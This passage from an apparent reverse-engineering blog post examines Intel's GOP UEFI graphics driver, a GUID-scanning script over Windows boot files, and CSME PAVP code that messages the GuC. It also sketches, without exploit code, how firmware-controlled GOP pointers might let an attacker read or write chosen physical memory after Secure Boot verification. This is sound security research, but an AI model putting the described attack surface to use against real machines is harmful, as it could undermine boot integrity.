000000A8                                         ; sub_245C+1B/o ...
000000B0 field_B0        dq ?                    ; XREF: sub_245C+86/r
000000B0                                         ; sub_259C+6C/r ...
000000B8 field_B8        dq ?                    ; XREF: sub_35A4+37A/o
000000B8                                         ; sub_35A4+384/w ...
000000C0 field_C0        dq ?                    ; XREF: sub_35A4+38B/w
000000C0                                         ; sub_35A4+3EF/r ...
000000C8 field_C8        dq ?
000000D0 field_D0        dq ?                    ; XREF: sub_35A4+420/o
000000D8 field_D8        dq ?
000000E0 field_E0        dq ?
000000E8 DriverState     ends

and so on.

It won't be too interesting to just dump more and more dissassembled functions here, as our goal is to find possible access to GuC. None of the functions I identified had any connection to the GuC, so next I looked at all accesses to PCI devices, as GuC accesses should be made using PCI. The devices are identified using EFI_DEVICE_PATH_PROTOCOL and accessed through EFI_PCI_IO_PROTOCOL_GUID.

DriverBindingProtoSupported+CB lea rdx, EFI_PCI_IO_PROTOCOL_GUID
DriverBindingProtoSupported+173 lea rdx, EFI_PCI_IO_PROTOCOL_GUID
EnumConnectionsAndInstallEdidProto+259 lea rdx, EFI_PCI_IO_PROTOCOL_GUID
sub_245C+9C lea r8, EFI_PCI_IO_PROTOCOL_GUID
sub_259C+33 lea r8, EFI_PCI_IO_PROTOCOL_GUID
sub_259C+81 lea r8, EFI_PCI_IO_PROTOCOL_GUID
DriverBindingProtoStartImp+44 lea rdx, EFI_PCI_IO_PROTOCOL_GUID
DriverBindingProtoStartImp+20C lea rdx, EFI_PCI_IO_PROTOCOL_GUID
uninstall?+76 lea rdx, EFI_PCI_IO_PROTOCOL_GUID
uninstall?+220 lea rdx, EFI_PCI_IO_PROTOCOL_GUID
DriverBindingProtoStop+DD lea rdx, EFI_PCI_IO_PROTOCOL_GUID
DriverBindingProtoStop+120 lea rdx, EFI_PCI_IO_PROTOCOL_GUID
sub_2EC0+158 lea r8, EFI_PCI_IO_PROTOCOL_GUID
GetControllerName+3A lea rdx, EFI_PCI_IO_PROTOCOL_GUID
GetControllerName+59 lea rdx, EFI_PCI_IO_PROTOCOL_GUID
GetControllerName:loc_55C6 lea r8, EFI_PCI_IO_PROTOCOL_GUID

Some places are spurios, like:

.text:00000000000024F8                 lea     r8, EFI_PCI_IO_PROTOCOL_GUID
.text:00000000000024FF                 mov     rcx, rsi
.text:0000000000002502                 call    sub_5F04

Since sub_5F04 overrides r8 immediatly:

.text:0000000000005F04 sub_5F04        proc near               ; CODE XREF: sub_245C+A6↑p
.text:0000000000005F04                                         ; sub_259C+41↑p ...
.text:0000000000005F04
.text:0000000000005F04 count           = qword ptr -18h
.text:0000000000005F04 arg_0           = qword ptr  8
.text:0000000000005F04 proto_info      = qword ptr  20h
.text:0000000000005F04
.text:0000000000005F04                 mov     [rsp+arg_0], rbx
.text:0000000000005F09                 push    rdi
.text:0000000000005F0A                 sub     rsp, 30h
.text:0000000000005F0E                 mov     rax, cs:gBOOT_SERVICES
.text:0000000000005F15                 mov     rdi, rdx
.text:0000000000005F18                 lea     r9, [rsp+38h+count]
.text:0000000000005F1D                 lea     r8, [rsp+38h+proto_info]      ;; HERE!!

Long story short: no code in the GOP DXE driver communicates with the GuC.

Before moving on to CSME vs GuC, I was curious who exactly uses all these protocols, in the rest of the UEFI BIOS and Windows. I extracted the UEFI capsule and also mounted the Windows ISO and WIM files (dism /mount-image /imagefile:e:\sources\install.wim /index:1 /mountdir:c:\mnt\install /readonly), and then ran the following python script:

from struct import unpack
from os import walk
from mmap import mmap, ACCESS_READ
import os.path as path

GUIDS = (
((0xDE, 0xA9, 0x42, 0x90, 0xDC, 0x23, 0x38, 0x4A, 0x96, 0xFB, 0x7A, 0xDE, 0xD0, 0x80, 0x51, 0x6A), 'EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID'),
((0x56, 0x10, 0x8C, 0xBD, 0x36, 0x9F, 0xEC, 0x44, 0x92, 0xA8, 0xA6, 0x33, 0x7F, 0x81, 0x79, 0x86), 'EFI_EDID_ACTIVE_PROTOCOL_GUID'),
((0xF6, 0x34, 0x0C, 0x1C, 0x80, 0xD3, 0xFA, 0x41, 0xA0, 0x49, 0x8A, 0xD0, 0x6C, 0x1A, 0x66, 0xAA), 'EFI_EDID_DISCOVERED_PROTOCOL_GUID'),
((0x1D, 0x3F, 0xF2, 0x6F, 0x7C, 0x87, 0x1B, 0x4B, 0x93, 0xFC, 0xF1, 0x42, 0xB2, 0xEE, 0xA6, 0xA7), 'GOP_DISPLAY_BRIGHTNESS_PROTOCOL_GUID'),
((0x3A, 0xD3, 0x1D, 0xF5, 0x7F, 0xE5, 0x20, 0x40, 0xB4, 0x66, 0xF4, 0xC1, 0x71, 0xC6, 0xE4, 0xF7), 'GOP_DISPLAY_BIST_PROTOCOL_GUID'),
#((0x00, 0xB2, 0xF5, 0x4C, 0xB8, 0x68, 0xA5, 0x4C, 0x9E, 0xEC, 0xB2, 0x3E, 0x3F, 0x50, 0x02, 0x9A), 'EFI_PCI_IO_PROTOCOL_GUID'),
#((0xBD, 0x7E, 0x1B, 0x65, 0x13, 0xCE, 0xD0, 0x41, 0x82, 0xE5, 0xA0, 0x63, 0xAB, 0xBE, 0x9B, 0xB6), 'GOP_COMPONENT_NAME2_PROTOCOL_GUID'),
((0xCD, 0x2F, 0xCB, 0xDB, 0x9A, 0xE2, 0x0E, 0x41, 0x9D, 0xD9, 0xFA, 0x9D, 0x5F, 0xF4, 0xCD, 0xA7), 'UNKNOWN_PROTOCOL_GUID'),
((0x3B, 0x70, 0xD4, 0xC7, 0x36, 0x0F, 0x51, 0x4E, 0xA9, 0x83, 0x5E, 0x61, 0xAC, 0xB8, 0x68, 0x3C), 'MAYBE_AUX_PROTOCOL_GUID?'),
#((0x91, 0x6E, 0x57, 0x09, 0x3F, 0x6D, 0xD2, 0x11, 0x8E, 0x39, 0x00, 0xA0, 0xC9, 0x69, 0x72, 0x3B), 'EFI_DEVICE_PATH_PROTOCOL_GUID'),
#((0xA1, 0x31, 0x1B, 0x5B, 0x62, 0x95, 0xD2, 0x11, 0x8E, 0x3F, 0x00, 0xA0, 0xC9, 0x69, 0x72, 0x3B), 'EFI_LOADED_IMAGE_PROTOCOL_GUID'),
#((0xAB, 0x31, 0xA0, 0x18, 0x43, 0xB4, 0x1A, 0x4D, 0xA5, 0xC0, 0x0C, 0x09, 0x26, 0x1E, 0x9F, 0x71), 'EFI_DRIVER_BINDING_PROTOCOL_GUID'),
#((0xFF, 0x5C, 0x7A, 0x6A, 0xD9, 0xE8, 0x70, 0x4F, 0xBA, 0xDA, 0x75, 0xAB, 0x30, 0x25, 0xCE, 0x14), 'EFI_COMPONENT_NAME2_PROTOCOL_GUID')
)

guids = { bytes(k) : v for k, v in GUIDS }
first_dwords = set([unpack("<I", guid[0:4]) for guid in guids.keys()])

for root in ('c:\\mnt\\iso', 'c:\\mnt\\boot', 'c:\\mnt\\install', 'c:\\mnt\\uefi'):
    for dir, _, files in walk(root):
        for file in files:
            filename = dir + '\\' + file
            try:
                filelen = path.getsize(filename) & ~15
                if filelen == 0:
                    continue
                with open(filename, 'rb') as file:
                    with mmap(file.fileno(), filelen, access=ACCESS_READ) as mem:
                        for ofs in range(0, filelen, 16):
                            if unpack("<I", mem[ofs:ofs+4]) in first_dwords:
                                guid = mem[ofs:ofs+16]
                                try:
                                    name = guids[guid]
                                    print(f'{filename}\t{ofs:x}\t{name}')
                                except KeyError:
                                    pass
            except PermissionError:
                pass

The UEFI setup and legacy components use the GOP and the EDID components:

c:\mnt\uefi\\AMITSE.efi	400	EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\uefi\\Bds.efi	3d0	EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\uefi\\ConSplitter.efi	310	EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\uefi\\CsmVideo.efi	2c0	EFI_EDID_DISCOVERED_PROTOCOL_GUID
c:\mnt\uefi\\CsmVideo.efi	2d0	EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\uefi\\CsmVideo.efi	320	EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\uefi\\GraphicsConsole.efi	2b0	EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\uefi\\Setup.efi	2e0	EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\uefi\\UefiPxeBcDxe.efi	490	EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID

In Windows we have only:

c:\mnt\boot\Windows\Boot\EFI\bootmgfw.efi       a1a0    EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\boot\Windows\Boot\EFI\bootmgfw.efi       a220    EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\boot\Windows\System32\winload.efi        17e210  EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\boot\Windows\System32\winload.efi        17e2a0  EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\boot\Windows\System32\winresume.efi      122c00  EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\boot\Windows\System32\winresume.efi      122c80  EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\boot\Windows\System32\Boot\winload.efi   17e210  EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\boot\Windows\System32\Boot\winload.efi   17e2a0  EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\boot\Windows\System32\Boot\winresume.efi 122bf0  EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\boot\Windows\System32\Boot\winresume.efi 122c70  EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\install\Windows\Boot\EFI\bootmgfw.efi    a1a0    EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\install\Windows\Boot\EFI\bootmgfw.efi    a220    EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\install\Windows\System32\SecConfig.efi   110b80  EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\install\Windows\System32\SecConfig.efi   110c00  EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\install\Windows\System32\winload.efi     17e210  EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\install\Windows\System32\winload.efi     17e2a0  EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\install\Windows\System32\winresume.efi   122c00  EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\install\Windows\System32\winresume.efi   122c80  EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\install\Windows\System32\Boot\winload.efi        17e210  EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\install\Windows\System32\Boot\winload.efi        17e2a0  EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\install\Windows\System32\Boot\winresume.efi      122bf0  EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\install\Windows\System32\Boot\winresume.efi      122c70  EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID
c:\mnt\iso\bootx64.efi a1a0    EFI_EDID_ACTIVE_PROTOCOL_GUID
c:\mnt\iso\bootx64.efi a220    EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID

So basically most of the GOP DXE driver functions go unused and can be considered bloat …

Are EFI_GRAPHICS_OUTPUT_PROTOCOL and EFI_EDID_ACTIVE_PROTOCOL_GUID possible vectors for exploitation from UEFI -> Windows? Assume for example a DXE driver has a bug that can be exploited using specialized hardware, and you gain execution in the UEFI firmware during boot. Can these protocols be used as an attack surface to attack SecureBoot Windows?

As seen before, EFI_GRAPHICS_OUTPUT_PROTOCOL has a driver controlled Mode member

struct _EFI_GRAPHICS_OUTPUT_PROTOCOL {
    EFI_GRAPHICS_OUTPUT_PROTOCOL_QUERY_MODE QueryMode;
    EFI_GRAPHICS_OUTPUT_PROTOCOL_SET_MODE SetMode;
    EFI_GRAPHICS_OUTPUT_PROTOCOL_BLT Blt;
    EFI_GRAPHICS_OUTPUT_PROTOCOL_MODE *Mode;
};

In turn EFI_GRAPHICS_OUTPUT_PROTOCOL_MODE is defined as:

typedef struct {
    UINT32 MaxMode;
    UINT32 Mode;
    EFI_GRAPHICS_OUTPUT_MODE_INFORMATION *Info;
    UINTN SizeOfInfo;
    EFI_PHYSICAL_ADDRESS FrameBufferBase;
    UINTN FrameBufferSize;
} EFI_GRAPHICS_OUTPUT_PROTOCOL_MODE;

These structure are used in several functions inside the console library shared by all the relevant Windows components. The two main functions are ConsoleEfiGopOpen and ConsoleEfiGopEnable:

__int64 __fastcall ConsoleEfiGopOpen(CONSOLE_DATA *this)
{
  ...
  if ( EfiOpenProtocol(this->efi_handle, (__int64)&EfiGraphicsOutputProtocol, &gop_protocol) >= 0 )
  {
    status = EfiGopGetCurrentMode(gop_protocol, &mode, &mode_info);
    if ( status >= 0 )
    {
      orig_mode = mode;
      new_mode = mode;
      
      ... check if mode is allowed, if not get allowed mode ...
      
      // fill state with mode data
      is_rgb = mode_info.PixelFormat == PixelBlueGreenRedReserved8BitPerColor;
      this_1->gop_protocol = gop_protocol;
      this_1->new_mode = new_mode;
      this_1->orig_mode = orig_mode;
      if ( is_rgb )
        bits_per_pixel = 32;
      else if ( mode_info.PixelFormat == PixelBitMask )
        bits_per_pixel = 24;      
      else {
        status = STATUS_UNSUCCESSFUL;
        goto exit_handler;
      }
      this_1->orig_horiz_res = mode_info.HorizontalResolution;
      this_1->orig_vert_res = mode_info.VerticalResolution;
      pixels_per_scan_line = mode_info.PixelsPerScanLine;
      this_1->orig_bits_per_pixel = bits_per_pixel;
      result = 0i64;
      this_1->orig_pixels_per_scan_line = pixels_per_scan_line;
      return result;
      
    }
exit_handler:
    EfiCloseProtocol(this_1->efi_handle, &EfiGraphicsOutputProtocol);
    return (unsigned int)status;
  }
  return 0xC00000BB;
}

EfiGopGetCurrentMode() in turn uses MmArchTranslateVirtualAddress to get physical addresses for the output:

int __fastcall EfiGopGetCurrentMode(EFI_GRAPHICS_OUTPUT_PROTOCOL *gop, unsigned int *mode, EFI_GRAPHICS_OUTPUT_MODE_INFORMATION *info)
{
  ...
  info_phys_addr = info;
  mode_phys_addr = mode;
  gop_phys_addr = gop;
  context_mode = *gCurrentExecutionContext;
  if ( *gCurrentExecutionContext != ExecutionContextFirmware )
  {
    if ( gop )
      status = MmArchTranslateVirtualAddress(gop, (unsigned __int64 *)&phys_addr, 0i64, 0i64);
    else
      status = 0;
    if ( !status )
      return STATUS_UNSUCCESSFUL;
    gop_phys_addr = phys_addr;
    is_mapped = mode_phys_addr ? MmArchTranslateVirtualAddress(
                                   mode_phys_addr,
                                   (unsigned __int64 *)&phys_addr,
                                   0i64,
                                   0i64) : 0;
    if ( !is_mapped )
      return STATUS_UNSUCCESSFUL;
    mode_phys_addr = (unsigned int *)phys_addr;
    is_mapped_2 = info_phys_addr ? MmArchTranslateVirtualAddress(
                                     info_phys_addr,
                                     (unsigned __int64 *)&phys_addr,
                                     0i64,
                                     0i64) : 0;
    if ( !is_mapped_2 )
      return STATUS_UNSUCCESSFUL;
    info_phys_addr = (EFI_GRAPHICS_OUTPUT_MODE_INFORMATION *)phys_addr;
    BlpArchSwitchContext(ExecutionContextFirmware);
  }
  *mode_phys_addr = gop_phys_addr->Mode->Mode;
  mode_info = gop_phys_addr->Mode->Info;
  *(_OWORD *)&info_phys_addr->Version = *(_OWORD *)&mode_info->Version;
  info_phys_addr->PixelInformation = mode_info->PixelInformation;
  info_phys_addr->PixelsPerScanLine = mode_info->PixelsPerScanLine;
  if ( context_mode != ExecutionContextFirmware )
    BlpArchSwitchContext(context_mode);
  return v3;
}

The most we can get from this is an arbitary read from physical memory by Windows.

Lets look at ConsoleEfiGopEnable:

unsigned int __fastcall ConsoleEfiGopEnable(CONSOLE_DATA *this)
{
  ...
  status = EfiGopGetCurrentMode(this->gop_protocol, &old_mode, &mode_info);
  if ( status < 0 )
    return status;
  new_mode_1 = old_mode;
  if ( old_mode != new_mode )
  {  
    status = EfiGopSetMode(this_1->gop_protocol, new_mode);
    if ( status >= 0 )
    {
      BlDisplayInvalidateOemBitmap();
      EfiGopGetCurrentMode(this_1->gop_protocol, &mode, &mode_info);
      new_mode_1 = old_mode;
    }
  }
  
    if ( mode_info.PixelFormat == PixelBlueGreenRedReserved8BitPerColor )
        bits_per_pixel = 32;
    else if ( mode_info.PixelFormat == PixelBitMask )
        bits_per_pixel = 24;
    else { ...; return STATUS_UNSUCCESSFUL; }
    
    EfiGopGetFrameBuffer(this_1->gop_protocol, &frame_buffer_base, &frame_buffer_size);
    if ( BlMmMapPhysicalAddressEx(&frame_buffer, frame_buffer_base, frame_buffer_size, 8u, 0) >= 0
      || (status = BlMmMapPhysicalAddressEx(&frame_buffer, frame_buffer_base, frame_buffer_size, 1u, 0), status >= 0) )
    {
      this_1->frame_buffer = (void *)frame_buffer_1;
      this_1->frame_buffer_size = frame_buffer_size;
      this_1->bits_per_pixel = bits_per_pixel;
      this_1->horiz_res = mode_info.HorizontalResolution;
      ... contonue filling this_1 with mode_info ...
      return result;
    }
  }
  return STATUS_UNSUCCESSFUL;

Here Windows map the physical address supplied by GOP->FrameBuffer (retrieved in EfiGopGetFrameBuffer) into Windows. We can control FrameBuffer so we might be able to arbitarily map any physical memory as the frame buffer.

How does that help us? If for example the OEM logo (specified in the 'BGRT' ACPI table) is copied to the FrameBuffer, we can write data under our control to a physical address under our control - after the bootmgr has already been verified as part of the Secure Boot process.

But this is tangental to this post so we’ll examine this vector in a future post.

Part 2: From CSME

Now lets turn to the question wether CSME accesses the GuC and vice-versa.

The CSME is really big, so an exhastive disassembly like we did for the GOP is less relevant. So where might the CSME engine need to communicate with the GuC?

One place that comes into mind is the PAVP - Protected Audio Video Path. This is the component that protects protected HD content from being copied. The protection is implemented by creating a secure pipeline from the media components in the Windows kernel, through the GFX driver, and all the way to the display. The CSME is used to protect the pipeline including certs, keys and much more.

We can start with the CSME HECI (Host Embedded Controller Interface) driver on Windows and find the relevant HECI messages. One group of interesting messages I found was for the LSPCON component. LSPCON stands for Level Shifter and Protocol Converter, which is used for HDR signalling over HDMI.

No hard work means no fish, so we go on a fishing expedition and finally manage to extract the PAVP component from an old CSME15 build. Its about 300KB in size, so still quite big.

Reversing this I went down a deep rabbit hole. I finally discovered a function I named PAVP_init_heci, that is called from main and initializes the HECI communication module in PAVP and registers an interface with three functions:

  • handle async messages - PAVP_handle_async_message
  • HECI connection request - PAVP_connect
  • HECI disconnect request - PAVP_disconnect (all the names are mine)

PAVP_heci_handle_async_message() handles different types of messages like widevine, asmf, PlayReady and so on. We are interested in CPHS - Intel Content Protection HECI Service, a function I named PAVP_process_cphs_message(). Digging deeper we eventually reach the LSPCON command handler:

.text:0010775B ; int __cdecl LSPCON_command_handler(PavpCtx *ctx, void *heci_msg, int heci_msg_len, int max_out_len, int *out_len)
.text:0010775B LSPCON_command_handler proc near        ; CODE XREF: PAVP_heci_command_handler+8D↑p
.text:0010775B
.text:0010775B var_14          = dword ptr -14h
.text:0010775B msg_len         = dword ptr -10h
.text:0010775B ctx             = dword ptr  8
.text:0010775B heci_msg        = dword ptr  0Ch
.text:0010775B heci_msg_len    = dword ptr  10h
.text:0010775B max_out_len     = dword ptr  14h
.text:0010775B out_len         = dword ptr  18h
.text:0010775B
.text:0010775B cmd = ebx
.text:0010775B                 push    ebp
.text:0010775C                 mov     ebp, esp
.text:0010775E                 push    edi
.text:0010775F                 push    esi
.text:00107760                 push    cmd
.text:00107761                 sub     esp, 8
.text:00107764                 mov     eax, [ebp+heci_msg_len]
.text:00107767                 mov     ecx, [ebp+ctx]
.text:0010776A                 mov     [ebp+msg_len], eax
.text:0010776D                 mov     eax, [ebp+max_out_len]
.text:00107770                 mov     cmd, [ebp+heci_msg]
.text:00107773                 mov     [ebp+var_14], eax
.text:00107776                 mov     esi, [ebp+out_len]
.text:00107779                 test    ecx, ecx
.text:0010777B                 jz      short err_cmd_not_in_range
.text:0010777D                 cmp     [ecx+PavpCtx.Lspcon], 0
.text:00107781                 jz      short err_cmd_not_in_range
.text:00107783                 test    cmd, cmd
.text:00107785                 setz    dl
.text:00107788                 test    esi, esi
.text:0010778A                 setz    al
.text:0010778D                 or      dl, al
.text:0010778F                 jnz     short err_cmd_not_in_range
.text:00107791                 cmp     [ebp+msg_len], 0Fh ; cmd_len <= sizeof(LSPCON_heci_command_header_t)
.text:00107795                 ja      short is_cmd_id_in_heci_range

It begins by verifying the command buffer is big enough to fit the LSPCON HECI command header:

00000000 LSPCON_heci_command_header_t struc ; (sizeof=0x10, mappedto_125)
00000000                                         ; XREF: LSPCON_HECICMD_PLAYBACK_DONE_IN/r
00000000                                         ; LSPCON_HECICMD_PLAYBACK_DONE_OUT/r ...
00000000 version         dd ?
00000004 cmdid           dd ?                    ; XREF: LSPCON_command_handler:is_cmd_id_in_heci_range/r
00000008 status          dd ?
0000000C size            dd ?                    ; XREF: LSPCON_command_handler+6B/w
0000000C                                         ; LSPCON_command_handler+91/w ...
00000010 LSPCON_heci_command_header_t ends

Next it checks the command is one of the 7 LSPCON HECI commands and retreives appropriate handler from a global handler list:

.text:001077B8 is_cmd_id_in_heci_range:                ; CODE XREF: LSPCON_command_handler+3A↑j
.text:001077B8                 mov     edi, [cmd+LSPCON_heci_command_header_t.cmdid]
.text:001077BB                 lea     eax, [edi-0E000h] ; is 0xE000 < id < 0xE008
.text:001077C1                 cmp     eax, 7
.text:001077C4                 jbe     short get_handler
                               ...
.text:001077D4 get_handler:                            ; CODE XREF: LSPCON_command_handler+69↑j
.text:001077D4                 mov     edx, dword ptr ds:gLSPCONCmdHandlerTable[eax*8] ; gLSPCONCmdHandlerTable.HandleFunc
.text:001077DB                 test    edx, edx        ; EDX contains handler
.text:001077DD                 jnz     short check_cmd_data

The global list looks something like:

gLSPCONCmdHandlerTable[] = {
      { 0 },
      { LSPCON_get_status,             sizeof(LSPCON_HECICMD_GET_LSPCON_STATUS_IN),    sizeof(LSPCON_HECICMD_GET_LSPCON_STATUS_OUT)},
      { LSPCON_set_dev_cert,           sizeof(LSPCON_HECICMD_SET_LSPCON_CERT_IN),      sizeof(LSPCON_HECICMD_SET_LSPCON_CERT_OUT)},
      { LSPCON_init_session,           sizeof(LSPCON_HECICMD_INIT_SESSION_IN),         sizeof(LSPCON_HECICMD_INIT_SESSION_OUT)},
      { LSPCON_init_limits,            sizeof(LSPCON_HECICMD_INIT_LIMITS_IN),          sizeof(LSPCON_HECICMD_INIT_LIMITS_OUT)},
      { LSPCON_playback_done,          sizeof(LSPCON_HECICMD_PLAYBACK_DONE_IN),        sizeof(LSPCON_HECICMD_PLAYBACK_DONE_OUT)},
      { LSPCON_ack,                    sizeof(LSPCON_HECICMD_MSG_ACK_IN),              sizeof(LSPCON_HECICMD_MSG_ACK_OUT)},
      { LSPCON_get_topology,           sizeof(LSPCON_HECICMD_GET_TOPOLOGY_IN),         sizeof(LSPCON_HECICMD_GET_TOPOLOGY_OUT)},
  };

After verifying the size of the input and output structs the actual command handle is called.

.text:001077FD
.text:001077FD check_cmd_data:                         ; CODE XREF: LSPCON_command_handler+82↑j
.text:001077FD                 movzx   edi, word ptr ds:unk_82364[eax*8] ; gLSPCONCmdHandlerTable.InputSize
.text:00107805                 cmp     edi, [ebp+msg_len]
.text:00107808                 ja      short sizes_error
.text:0010780A                 movzx   eax, word ptr ds:unk_82366[eax*8] ; gLSPCONCmdHandlerTable.OutputSize
.text:00107812                 cmp     eax, [ebp+var_14]
.text:00107815                 ja      short sizes_error
                               ...
.text:00107830
.text:00107830 loc_107830:                             ; CODE XREF: LSPCON_command_handler+C5↑j
.text:00107830                 push    cmd
.text:00107831                 push    ecx
                               ...
.text:00107846                 call    edx             ; Call Command Handler!

Reveresing all the command handlers we find something interesting in the most unexpected one (thus the last I REd): LSPCON_playback_done(). It took me a while to even understand its releated to the GuC, and I’ll explain later how it does so.

What does LSPCON_playback_done do? It checks whether HDCP restrictions should remain in place after a playback is complete.

The function begins by verifying the input parameter (LSPCON_HECICMD_PLAYBACK_DONE_IN) is valid:

.text:00107C6B ; int __cdecl LSPCON_playback_done(PavpCtx *ctx, void *msg)
.text:00107C6B LSPCON_playback_done proc near
.text:00107C6B
.text:00107C6B cur_hdcp_requirements= dword ptr -18h
.text:00107C6B count_active_sessions= dword ptr -14h
.text:00107C6B var_10          = dword ptr -10h
.text:00107C6B ctx             = dword ptr  8
.text:00107C6B msg             = dword ptr  0Ch
.text:00107C6B
.text:00107C6B ctx_ptr = edi
.text:00107C6B                 push    ebp
.text:00107C6C                 mov     ebp, esp
.text:00107C6E                 push    ctx_ptr
.text:00107C6F                 push    esi
.text:00107C70                 push    ebx
.text:00107C71                 sub     esp, 0Ch
.text:00107C74                 mov     [ebp+count_active_sessions], 0
.text:00107C7B                 mov     esi, [ebp+msg]
.text:00107C7E                 mov     eax, ds:stack_cookie_ptr
.text:00107C83                 mov     [ebp+var_10], eax
.text:00107C86                 xor     eax, eax
.text:00107C88                 mov     ctx_ptr, [ebp+ctx]
.text:00107C8B                 test    esi, esi
.text:00107C8D                 jnz     short check_valid_header
                               ...
.text:00107C99 check_valid_header:                     ; CODE XREF: LSPCON_playback_done+22↑j
.text:00107C99                 mov     [esi+LSPCON_HECICMD_PLAYBACK_DONE_IN.header.size], 0
.text:00107CA0                 test    ctx_ptr, ctx_ptr
.text:00107CA2                 jz      short invalid_parameter
.text:00107CA4                 cmp     [ctx_ptr+PavpCtx.Lspcon], 0
.text:00107CA8                 jz      short invalid_parameter

And now comes the interesting part:

.text:00107CAA                 lea     eax, [ebp+count_active_sessions]
.text:00107CAD                 push    eax             ; num_active_sessions
.text:00107CAE                 push    0               ; type
.text:00107CB0                 push    ctx_ptr         ; ctx
.text:00107CB1                 call    GUC_get_active_sessions ; 
.text:00107CB6                 add     esp, 0Ch
.text:00107CB9                 mov     ebx, eax
.text:00107CBB                 test    eax, eax
.text:00107CBD                 jz      short got_active_sessions

If there are any remaining active sessions the code continues to check what level of HDCP protection they require and set protection to that level if it is lower then the current level, I won’t go into that disassembly as its not really interesting.

Why do I think GUC_get_active_sessions is actually related to GuC and why did I name it that? Lets continue by examining this function. Its just a wrapper around a function I called GUC_send_message that sends message no. 6,

.text:0010452C ; int __cdecl GUC_get_active_sessions(PavpCtx *ctx, int type, unsigned int *num_active_sessions)
.text:0010452C GUC_get_active_sessions proc near       ; CODE XREF: LSPCON_playback_done+46↓p
.text:0010452C
.text:0010452C guc2csme        = GUC2CSME_MSG ptr -18h
.text:0010452C csme2guc        = CSME2GUC_MSG ptr -10h
.text:0010452C ctx             = dword ptr  8
.text:0010452C type            = dword ptr  0Ch
.text:0010452C num_active_sessions= dword ptr  10h
.text:0010452C
.text:0010452C ctx_ptr = esi
                               ...
.text:0010455B type_ok:
.text:0010455B                 mov     dword ptr [ebp+csme2guc.command], GUC_MSG_GET_ACTIVE_SESSIONS ; =6
.text:00104562                 mov     [ebp+csme2guc.data1], al
.text:00104565                 lea     eax, [ebp+guc2csme.value]
.text:00104568                 mov     [ebp+guc2csme.value], 0
.text:0010456F                 push    eax             ; guc2csme
.text:00104570                 lea     eax, [ebp+csme2guc]
.text:00104573                 push    eax             ; csme2guc
.text:00104574                 push    ctx_ptr         ; ctx
.text:00104575                 call    GUC_send_message

GUC_send_message() gets two parameters in addition to the PAVP context: a CSME2GUC structure and a GUC2CSME structure. How does it work? It tries to send the message several times in a loop, each time waiting for a short timeout. The first iteration of the loop also wakes the GuC by enabling it through managment functions (if it isn’t already enabled), and sending a special wake message using a function I named GUC_send_VDM().

.text:001041FF ; int __cdecl GUC_send_message(PavpCtx *ctx, CSME2GUC_MSG *csme2guc, GUC2CSME_MSG *guc2csme)
.text:001041FF GUC_send_message proc near              ; CODE XREF: GUC_get_active_sessions+49↓p
.text:001041FF                                         ; sub_1045C5+3F↓p
.text:001041FF
.text:001041FF ctx             = dword ptr  8
.text:001041FF csme2guc        = dword ptr  0Ch
.text:001041FF guc2csme        = dword ptr  10h
.text:001041FF
.text:001041FF attempt = esi
.text:001041FF ctx_ptr = ebx
.text:001041FF                 push    ebp
.text:00104200                 mov     ebp, esp
.text:00104202                 push    edi
.text:00104203                 push    attempt
.text:00104204                 xor     attempt, attempt
.text:00104206                 push    ctx_ptr
.text:00104207                 mov     ctx_ptr, [ebp+ctx]
.text:0010420A
.text:0010420A send_loop:                              ; CODE XREF: GUC_send_message+A3↓j
.text:0010420A                 inc     attempt
.text:0010420B                 cmp     attempt, 1
.text:0010420E                 jnz     short send_wake_msg_loop
.text:00104210
.text:00104210 first_attempt:
.text:00104210                 push    ctx_ptr
.text:00104211                 call    GUC_disable_power_gate?
.text:00104216                 mov     edi, eax
.text:00104218                 pop     eax
.text:00104219                 test    edi, edi
.text:0010421B                 jnz     loc_1042A8
.text:00104221
.text:00104221 send_wake_msg_loop:                     ; CODE XREF: GUC_send_message+F↑j
.text:00104221                                         ; GUC_send_message+4E↓j
.text:00104221                 push    VDM_CSME_TO_GUC_WAKE_REQ
.text:00104223                 push    0               ; msg
.text:00104225                 push    ctx_ptr
.text:00104226                 call    GUC_send_VDM    ; VDM == Vendor Defined Message?
.text:0010422B                 add     esp, 0Ch
.text:0010422E                 mov     edi, eax
.text:00104230                 test    eax, eax
.text:00104232                 jnz     msg_error
.text:00104238                 push    [ebp+guc2csme]
.text:0010423B                 push    GUC_IS_AWAKE
.text:0010423D                 push    ctx_ptr
.text:0010423E                 call    GUC_wait_for_message ; wait for GUC is awake message
.text:00104243                 add     esp, 0Ch
.text:00104246                 mov     edi, eax
.text:00104248                 cmp     eax, PAVP_STATUS_TRY_AGAIN
